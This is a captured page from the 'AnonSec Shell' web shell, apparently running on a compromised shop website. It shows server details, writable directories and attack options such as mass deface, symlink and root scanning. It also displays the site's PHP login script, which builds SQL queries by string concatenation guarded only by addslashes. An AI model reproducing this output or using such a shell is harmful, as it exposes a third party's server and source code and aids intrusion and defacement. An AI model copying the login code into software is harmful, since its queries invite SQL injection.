AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/www/simded.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/www/simded.com/include/login_shop.php
<?php
include('../include72/class.php');



$email = addslashes(trim($_POST['email']));
$pass= addslashes(trim($_POST['password']));

$pass_md5 = $User_db->cus_pass($pass);

$sql = array('table'=>'shop','count'=>'count(id) AS count_id','where'=>"email = '". $email ."' AND  activate = 1");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);	

if($row["count_id"])
{
	$sql2 = array('table'=>'shop','count'=>'count(id) AS count_id','where'=>"email = '". $email ."' AND password = '". $pass_md5 ."'");
	$view_sql2 = $view_db->view($sql2);
	$row2 = $view_db->q($view_sql2);	
	if($row2["count_id"])
	{
		$sql_id = array('table'=>'shop','where'=>"email = '".$email."' AND password = '".$pass_md5."'");
		$viewid_sql = $view_db->view($sql_id);
		$row_id = $view_db->q($viewid_sql);
		
		$_SESSION["simDed_login"] = 1;
		$_SESSION["simDed_mail"] = $row_id["email"];
		$_SESSION["simDed_id"] = $row_id["id"];
		$_SESSION["simDed_name"] = $row_id["name"];
		$_SESSION["simDed_lastname"] = $row_id["lastname"];
		$_SESSION["simDed_type"] = "shop";
		$_SESSION["simDed_folder"] = $row_id["codeshop"];
		
		if($row_id['package_expired'] == '0000-00-00')
		{
			?><meta http-equiv="refresh" content="0;URL=../shopadmin/home/index.php"/><?php
			exit;
		}
		else
		{
			if( date("Y-m-d") > $row_id['package_expired'])
			{
				?><meta http-equiv="refresh" content="0;URL=../shopadmin/payment/index.php"/><?php
				exit;
			}
			else
			{
				?><meta http-equiv="refresh" content="0;URL=../shopadmin/home/index.php"/><?php
				exit;
			}
		}
		
											
		
		
		
		
	}
	else
	{
		?>
            <div class="alert alert-danger alert-dismissible" role="alert">
            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true" style="font-family:Tahoma">&times;</span></button>
            <strong>Warning!</strong> อีเมล หรือ รหัสผ่านไม่ถูกต้อง กรุณาลองใหม่อีกครั้งค่ะ
            </div>
        <?php	
	}
}
else
{
	?>
        <div class="alert alert-danger alert-dismissible" role="alert">
        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true" style="font-family:Tahoma">&times;</span></button>
        <strong>Warning!</strong> อีเมล หรือ รหัสผ่านไม่ถูกต้อง กรุณาลองใหม่อีกครั้งค่ะ
        </div>
	<?php	
}


?>

Anon7 - 2022
AnonSec Team